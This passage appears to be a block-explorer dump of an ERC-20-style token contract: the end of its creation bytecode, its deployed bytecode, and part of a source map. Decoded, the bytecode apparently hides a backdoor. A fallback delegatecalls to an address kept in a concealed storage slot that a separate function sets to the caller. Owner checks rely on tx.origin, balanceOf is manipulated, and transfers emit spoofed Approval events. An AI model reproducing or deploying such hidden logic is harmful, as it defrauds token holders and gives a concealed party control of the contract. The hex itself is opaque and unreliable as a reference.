f828254610f8d919061202d565b925050819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610fe09190611b79565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110449190611715565b60405180910390a3611057848484611230565b50505050565b5f8073bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c73ffffffffffffffffffffffffffffffffffffffff166370a0823160045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516024016110c191906113b0565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161110f91906120a4565b5f60405180830381855afa9150503d805f8114611147576040519150601f19603f3d011682016040523d82523d5f602084013e61114c565b606091505b509150508080602001905181019061116491906120ce565b91505090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b60fe60035461123f91906120f9565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111561128c575f60205561136c565b60035460015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054108015611327575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561136b57805f5230827f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560205fa361270f54828161271001558060010161270f55505b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61139a82611371565b9050919050565b6113aa81611390565b82525050565b5f6020820190506113c35f8301846113a1565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156114005780820151818401526020810190506113e5565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611425826113c9565b61142f81856113d3565b935061143f8185602086016113e3565b6114488161140b565b840191505092915050565b5f6020820190508181035f83015261146b818461141b565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6114c28261140b565b810181811067ffffffffffffffff821117156114e1576114e061148c565b5b80604052505050565b5f6114f3611473565b90506114ff82826114b9565b919050565b5f67ffffffffffffffff82111561151e5761151d61148c565b5b6115278261140b565b9050602081019050919050565b828183375f83830152505050565b5f61155461154f84611504565b6114ea565b9050828152602081018484840111156115705761156f611488565b5b61157b848285611534565b509392505050565b5f82601f83011261159757611596611484565b5b81356115a7848260208601611542565b91505092915050565b5f819050919050565b6115c2816115b0565b81146115cc575f80fd5b50565b5f813590506115dd816115b9565b92915050565b5f805f606084860312156115fa576115f961147c565b5b5f84013567ffffffffffffffff81111561161757611616611480565b5b61162386828701611583565b935050602084013567ffffffffffffffff81111561164457611643611480565b5b61165086828701611583565b9250506040611661868287016115cf565b9150509250925092565b61167481611390565b811461167e575f80fd5b50565b5f8135905061168f8161166b565b92915050565b5f80604083850312156116ab576116aa61147c565b5b5f6116b885828601611681565b92505060206116c9858286016115cf565b9150509250929050565b5f8115159050919050565b6116e7816116d3565b82525050565b5f6020820190506117005f8301846116de565b92915050565b61170f816115b0565b82525050565b5f6020820190506117285f830184611706565b92915050565b5f805f606084860312156117455761174461147c565b5b5f61175286828701611681565b935050602061176386828701611681565b9250506040611774868287016115cf565b9150509250925092565b5f60ff82169050919050565b6117938161177e565b82525050565b5f6020820190506117ac5f83018461178a565b92915050565b5f602082840312156117c7576117c661147c565b5b5f6117d484828501611681565b91505092915050565b5f80604083850312156117f3576117f261147c565b5b5f61180085828601611681565b925050602061181185828601611681565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061185f57607f821691505b6020821081036118725761187161181b565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6118ac6020836113d3565b91506118b782611878565b602082019050919050565b5f6020820190508181035f8301526118d9816118a0565b9050919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830261193c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82611901565b6119468683611901565b95508019841693508086168417925050509392505050565b5f819050919050565b5f61198161197c611977846115b0565b61195e565b6115b0565b9050919050565b5f819050919050565b61199a83611967565b6119ae6119a682611988565b84845461190d565b825550505050565b5f90565b6119c26119b6565b6119cd818484611991565b505050565b5b818110156119f0576119e55f826119ba565b6001810190506119d3565b5050565b601f821115611a3557611a06816118e0565b611a0f846118f2565b81016020851015611a1e578190505b611a32611a2a856118f2565b8301826119d2565b50505b505050565b5f82821c905092915050565b5f611a555f1984600802611a3a565b1980831691505092915050565b5f611a6d8383611a46565b9150826002028217905092915050565b611a86826113c9565b67ffffffffffffffff811115611a9f57611a9e61148c565b5b611aa98254611848565b611ab48282856119f4565b5f60209050601f831160018114611ae5575f8415611ad3578287015190505b611add8582611a62565b865550611b44565b601f198416611af3866118e0565b5f5b82811015611b1a57848901518255600182019150602085019450602081019050611af5565b86831015611b375784890151611b33601f891682611a46565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611b83826115b0565b9150611b8e836115b0565b9250828201905080821115611ba657611ba5611b4c565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611be3826115b0565b9150611bee836115b0565b925082611bfe57611bfd611bac565b5b828206905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f611c636025836113d3565b9150611c6e82611c09565b604082019050919050565b5f6020820190508181035f830152611c9081611c57565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611cf16026836113d3565b9150611cfc82611c97565b604082019050919050565b5f6020820190508181035f830152611d1e81611ce5565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611d7f6024836113d3565b9150611d8a82611d25565b604082019050919050565b5f6020820190508181035f830152611dac81611d73565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611e0d6022836113d3565b9150611e1882611db3565b604082019050919050565b5f6020820190508181035f830152611e3a81611e01565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611e75601d836113d3565b9150611e8082611e41565b602082019050919050565b5f6020820190508181035f830152611ea281611e69565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611f036025836113d3565b9150611f0e82611ea9565b604082019050919050565b5f6020820190508181035f830152611f3081611ef7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611f916023836113d3565b9150611f9c82611f37565b604082019050919050565b5f6020820190508181035f830152611fbe81611f85565b9050919050565b7f45524332303a207472616e7366657220657863656564732062616c616e6365005f82015250565b5f611ff9601f836113d3565b915061200482611fc5565b602082019050919050565b5f6020820190508181035f83015261202681611fed565b9050919050565b5f612037826115b0565b9150612042836115b0565b925082820390508181111561205a57612059611b4c565b5b92915050565b5f81519050919050565b5f81905092915050565b5f61207e82612060565b612088818561206a565b93506120988185602086016113e3565b80840191505092915050565b5f6120af8284612074565b915081905092915050565b5f815190506120c8816115b9565b92915050565b5f602082840312156120e3576120e261147c565b5b5f6120f0848285016120ba565b91505092915050565b5f612103826115b0565b915061210e836115b0565b925082820261211c816115b0565b9150828204841483151761213357612132611b4c565b5b509291505056fea26469706673582212208e8ef76834644306ed60a565d5b7c840053bcfbe17fb9ca455949414f9c72be064736f6c63430008140033
Deployed Bytecode
0x608060405260043610610101575f3560e01c806370a082311161009457806395d89b411161006357806395d89b4114610348578063a457c2d714610372578063a9059cbb146103ae578063dd62ed3e146103ea578063f2fde38b1461042657610108565b806370a08231146102a2578063715018a6146102de5780638da5cb5b146102f45780638dd950021461031e57610108565b806318160ddd116100d057806318160ddd146101d657806323b872dd14610200578063313ce5671461023c578063395093511461026657610108565b806303fd2a451461011e57806306fdde031461014857806307b01ec914610172578063095ea7b31461019a57610108565b3661010857005b348015610113575f80fd5b5061011c61044e565b005b348015610129575f80fd5b506101326104c1565b60405161013f91906113b0565b60405180910390f35b348015610153575f80fd5b5061015c6104c7565b6040516101699190611453565b60405180910390f35b34801561017d575f80fd5b50610198600480360381019061019391906115e3565b610557565b005b3480156101a5575f80fd5b506101c060048036038101906101bb9190611695565b6105f9565b6040516101cd91906116ed565b60405180910390f35b3480156101e1575f80fd5b506101ea61061b565b6040516101f79190611715565b60405180910390f35b34801561020b575f80fd5b506102266004803603810190610221919061172e565b610624565b60405161023391906116ed565b60405180910390f35b348015610247575f80fd5b50610250610652565b60405161025d9190611799565b60405180910390f35b348015610271575f80fd5b5061028c60048036038101906102879190611695565b61065a565b60405161029991906116ed565b60405180910390f35b3480156102ad575f80fd5b506102c860048036038101906102c391906117b2565b610690565b6040516102d59190611715565b60405180910390f35b3480156102e9575f80fd5b506102f26107ec565b005b3480156102ff575f80fd5b5061030861086c565b60405161031591906113b0565b60405180910390f35b348015610329575f80fd5b50610332610893565b60405161033f91906113b0565b60405180910390f35b348015610353575f80fd5b5061035c6108ab565b6040516103699190611453565b60405180910390f35b34801561037d575f80fd5b5061039860048036038101906103939190611695565b61093b565b6040516103a591906116ed565b60405180910390f35b3480156103b9575f80fd5b506103d460048036038101906103cf9190611695565b6109b0565b6040516103e191906116ed565b60405180910390f35b3480156103f5575f80fd5b50610410600480360381019061040b91906117dd565b6109d2565b60405161041d9190611715565b60405180910390f35b348015610431575f80fd5b5061044c600480360381019061044791906117b2565b610a54565b005b5f80368080601f0160208091040260200160405190810160405280939291908181526020018383808284375f81840152601f19601f82011690508083019250505050505050905060206028820151036104be5760205f60048351036024840130545af46104b9575f80fd5b60205ff35b50565b61dead81565b6060600580546104d690611848565b80601f016020809104026020016040519081016040528092919081815260200182805461050290611848565b801561054d5780601f106105245761010080835404028352916020019161054d565b820191905f5260205f20905b81548152906001019060200180831161053057829003601f168201915b5050505050905090565b3273ffffffffffffffffffffffffffffffffffffffff1661057661086c565b73ffffffffffffffffffffffffffffffffffffffff16146105cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c3906118c2565b60405180910390fd5b81600690816105db9190611a7d565b5082600590816105eb9190611a7d565b506105f4610b43565b505050565b5f80610603610b48565b9050610610818585610b4f565b600191505092915050565b5f600354905090565b5f8061062e610b48565b905061063b858285610d12565b610646858585610d9d565b60019150509392505050565b5f6009905090565b5f80610664610b48565b905061068581858561067685896109d2565b6106809190611b79565b610b4f565b600191505092915050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610700575f6106ee61105d565b90506020548110156106fe575f80fd5b505b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036107995760015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490506107e7565b60035460015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546107e49190611bd9565b90505b919050565b3273ffffffffffffffffffffffffffffffffffffffff1661080b61086c565b73ffffffffffffffffffffffffffffffffffffffff1614610861576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610858906118c2565b60405180910390fd5b61086a5f61116a565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b73bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c81565b6060600680546108ba90611848565b80601f01602080910402602001604051908101604052809291908181526020018280546108e690611848565b80156109315780601f1061090857610100808354040283529160200191610931565b820191905f5260205f20905b81548152906001019060200180831161091457829003601f168201915b5050505050905090565b5f80610945610b48565b90505f61095282866109d2565b905083811015610997576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098e90611c79565b60405180910390fd5b6109a48286868403610b4f565b60019250505092915050565b5f806109ba610b48565b90506109c7818585610d9d565b600191505092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b3273ffffffffffffffffffffffffffffffffffffffff16610a7361086c565b73ffffffffffffffffffffffffffffffffffffffff1614610ac9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac0906118c2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2e90611d07565b60405180910390fd5b610b408161116a565b50565b333055565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb490611d95565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2290611e23565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d059190611715565b60405180910390a3505050565b5f610d1d84846109d2565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610d975781811015610d89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8090611e8b565b60405180910390fd5b610d968484848403610b4f565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0290611f19565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015610e7357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610eb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea990611fa7565b60405180910390fd5b610ebd83838361122b565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610f41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f389061200f565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610f8d919061202d565b925050819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610fe09190611b79565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110449190611715565b60405180910390a3611057848484611230565b50505050565b5f8073bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c73ffffffffffffffffffffffffffffffffffffffff166370a0823160045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516024016110c191906113b0565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161110f91906120a4565b5f60405180830381855afa9150503d805f8114611147576040519150601f19603f3d011682016040523d82523d5f602084013e61114c565b606091505b509150508080602001905181019061116491906120ce565b91505090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b60fe60035461123f91906120f9565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111561128c575f60205561136c565b60035460015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054108015611327575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561136b57805f5230827f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560205fa361270f54828161271001558060010161270f55505b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61139a82611371565b9050919050565b6113aa81611390565b82525050565b5f6020820190506113c35f8301846113a1565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156114005780820151818401526020810190506113e5565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611425826113c9565b61142f81856113d3565b935061143f8185602086016113e3565b6114488161140b565b840191505092915050565b5f6020820190508181035f83015261146b818461141b565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6114c28261140b565b810181811067ffffffffffffffff821117156114e1576114e061148c565b5b80604052505050565b5f6114f3611473565b90506114ff82826114b9565b919050565b5f67ffffffffffffffff82111561151e5761151d61148c565b5b6115278261140b565b9050602081019050919050565b828183375f83830152505050565b5f61155461154f84611504565b6114ea565b9050828152602081018484840111156115705761156f611488565b5b61157b848285611534565b509392505050565b5f82601f83011261159757611596611484565b5b81356115a7848260208601611542565b91505092915050565b5f819050919050565b6115c2816115b0565b81146115cc575f80fd5b50565b5f813590506115dd816115b9565b92915050565b5f805f606084860312156115fa576115f961147c565b5b5f84013567ffffffffffffffff81111561161757611616611480565b5b61162386828701611583565b935050602084013567ffffffffffffffff81111561164457611643611480565b5b61165086828701611583565b9250506040611661868287016115cf565b9150509250925092565b61167481611390565b811461167e575f80fd5b50565b5f8135905061168f8161166b565b92915050565b5f80604083850312156116ab576116aa61147c565b5b5f6116b885828601611681565b92505060206116c9858286016115cf565b9150509250929050565b5f8115159050919050565b6116e7816116d3565b82525050565b5f6020820190506117005f8301846116de565b92915050565b61170f816115b0565b82525050565b5f6020820190506117285f830184611706565b92915050565b5f805f606084860312156117455761174461147c565b5b5f61175286828701611681565b935050602061176386828701611681565b9250506040611774868287016115cf565b9150509250925092565b5f60ff82169050919050565b6117938161177e565b82525050565b5f6020820190506117ac5f83018461178a565b92915050565b5f602082840312156117c7576117c661147c565b5b5f6117d484828501611681565b91505092915050565b5f80604083850312156117f3576117f261147c565b5b5f61180085828601611681565b925050602061181185828601611681565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061185f57607f821691505b6020821081036118725761187161181b565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6118ac6020836113d3565b91506118b782611878565b602082019050919050565b5f6020820190508181035f8301526118d9816118a0565b9050919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830261193c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82611901565b6119468683611901565b95508019841693508086168417925050509392505050565b5f819050919050565b5f61198161197c611977846115b0565b61195e565b6115b0565b9050919050565b5f819050919050565b61199a83611967565b6119ae6119a682611988565b84845461190d565b825550505050565b5f90565b6119c26119b6565b6119cd818484611991565b505050565b5b818110156119f0576119e55f826119ba565b6001810190506119d3565b5050565b601f821115611a3557611a06816118e0565b611a0f846118f2565b81016020851015611a1e578190505b611a32611a2a856118f2565b8301826119d2565b50505b505050565b5f82821c905092915050565b5f611a555f1984600802611a3a565b1980831691505092915050565b5f611a6d8383611a46565b9150826002028217905092915050565b611a86826113c9565b67ffffffffffffffff811115611a9f57611a9e61148c565b5b611aa98254611848565b611ab48282856119f4565b5f60209050601f831160018114611ae5575f8415611ad3578287015190505b611add8582611a62565b865550611b44565b601f198416611af3866118e0565b5f5b82811015611b1a57848901518255600182019150602085019450602081019050611af5565b86831015611b375784890151611b33601f891682611a46565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611b83826115b0565b9150611b8e836115b0565b9250828201905080821115611ba657611ba5611b4c565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611be3826115b0565b9150611bee836115b0565b925082611bfe57611bfd611bac565b5b828206905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f611c636025836113d3565b9150611c6e82611c09565b604082019050919050565b5f6020820190508181035f830152611c9081611c57565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611cf16026836113d3565b9150611cfc82611c97565b604082019050919050565b5f6020820190508181035f830152611d1e81611ce5565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611d7f6024836113d3565b9150611d8a82611d25565b604082019050919050565b5f6020820190508181035f830152611dac81611d73565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611e0d6022836113d3565b9150611e1882611db3565b604082019050919050565b5f6020820190508181035f830152611e3a81611e01565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611e75601d836113d3565b9150611e8082611e41565b602082019050919050565b5f6020820190508181035f830152611ea281611e69565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611f036025836113d3565b9150611f0e82611ea9565b604082019050919050565b5f6020820190508181035f830152611f3081611ef7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611f916023836113d3565b9150611f9c82611f37565b604082019050919050565b5f6020820190508181035f830152611fbe81611f85565b9050919050565b7f45524332303a207472616e7366657220657863656564732062616c616e6365005f82015250565b5f611ff9601f836113d3565b915061200482611fc5565b602082019050919050565b5f6020820190508181035f83015261202681611fed565b9050919050565b5f612037826115b0565b9150612042836115b0565b925082820390508181111561205a57612059611b4c565b5b92915050565b5f81519050919050565b5f81905092915050565b5f61207e82612060565b612088818561206a565b93506120988185602086016113e3565b80840191505092915050565b5f6120af8284612074565b915081905092915050565b5f815190506120c8816115b9565b92915050565b5f602082840312156120e3576120e261147c565b5b5f6120f0848285016120ba565b91505092915050565b5f612103826115b0565b915061210e836115b0565b925082820261211c816115b0565b9150828204841483151761213357612132611b4c565b5b509291505056fea26469706673582212208e8ef76834644306ed60a565d5b7c840053bcfbe17fb9ca455949414f9c72be064736f6c63430008140033
Deployed Bytecode Sourcemap
2305:18548:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4212:9;:7;:9::i;:::-;2305:18548;2451:73;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15341:115;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20572:280;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13685:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15164:113;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8380:334;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5657:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6157:260;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7222:546;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17691:106;;;;;;;;;;;;;:::i;:::-;;10535:111;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2370:73;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15569:112;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3330:510;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4576:232;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6474:175;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11400:258;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9222:284;9261:18;9282:8;;9261:29;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9372:2;9366;9359:5;9355:14;9349:21;9346:29;9329:167;;9463:2;9461:1;9458;9450:5;9444:12;9440:20;9436:2;9429:5;9425:14;9414:9;9408:16;9402:5;9389:77;9379:103;;9479:1;9476;9469:12;9379:103;9492:2;9489:1;9482:13;9329:167;9310:187;9222:284::o;2451:73::-;2482:42;2451:73;:::o;15341:115::-;15386:13;15429:19;15422:26;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15341:115;:::o;20572:280::-;3986:9;3975:20;;:7;:5;:7::i;:::-;:20;;;3967:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;20755:10:::1;20738:14;:27;;;;;;:::i;:::-;;20798:9;20776:19;:31;;;;;;:::i;:::-;;20820:20;:18;:20::i;:::-;20572:280:::0;;;:::o;13685:244::-;13792:4;13814:13;13830:8;:6;:8::i;:::-;13814:24;;13849:50;13858:5;13865:9;13876:22;13849:8;:50::i;:::-;13917:4;13910:11;;;13685:244;;;;:::o;15164:113::-;15216:7;15253:16;;15246:23;;15164:113;:::o;8380:334::-;8518:4;8535:17;8555:8;:6;:8::i;:::-;8535:28;;8574:56;8590:4;8596:9;8607:22;8574:15;:56::i;:::-;8641:43;8651:4;8657:2;8661:22;8641:9;:43::i;:::-;8702:4;8695:11;;;8380:334;;;;;:::o;5657:93::-;5706:5;5741:1;5734:8;;5657:93;:::o;6157:260::-;6262:4;6284:13;6300:8;:6;:8::i;:::-;6284:24;;6319:68;6328:5;6335:9;6376:10;6346:27;6356:5;6363:9;6346;:27::i;:::-;:40;;;;:::i;:::-;6319:8;:68::i;:::-;6405:4;6398:11;;;6157:260;;;;:::o;7222:546::-;7321:7;7364:8;;;;;;;;;;;7350:22;;:10;:22;;;7346:252;;7389:30;7422:12;:10;:12::i;:::-;7389:45;;7513:2;7507:9;7483:22;7480:37;7477:95;;;7551:1;7548;7541:12;7477:95;7458:129;7346:252;7629:8;;;;;;;;;;;7612:25;;:13;:25;;;7608:76;;7646:23;:38;7670:13;7646:38;;;;;;;;;;;;;;;;7639:45;;;;7608:76;7744:16;;7703:23;:38;7727:13;7703:38;;;;;;;;;;;;;;;;:57;;;;:::i;:::-;7696:64;;7222:546;;;;:::o;17691:106::-;3986:9;3975:20;;:7;:5;:7::i;:::-;:20;;;3967:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;17766:23:::1;17786:1;17766:11;:23::i;:::-;17691:106::o:0;10535:111::-;10581:7;10618:20;;;;;;;;;;;10611:27;;10535:111;:::o;2370:73::-;2401:42;2370:73;:::o;15569:112::-;15616:13;15659:14;15652:21;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15569:112;:::o;3330:510::-;3440:4;3462:13;3478:8;:6;:8::i;:::-;3462:24;;3497:29;3529:27;3539:5;3546:9;3529;:27::i;:::-;3497:59;;3614:15;3589:21;:40;;3567:127;;;;;;;;;;;;:::i;:::-;;;;;;;;;3730:67;3739:5;3746:9;3781:15;3757:21;:39;3730:8;:67::i;:::-;3828:4;3821:11;;;;3330:510;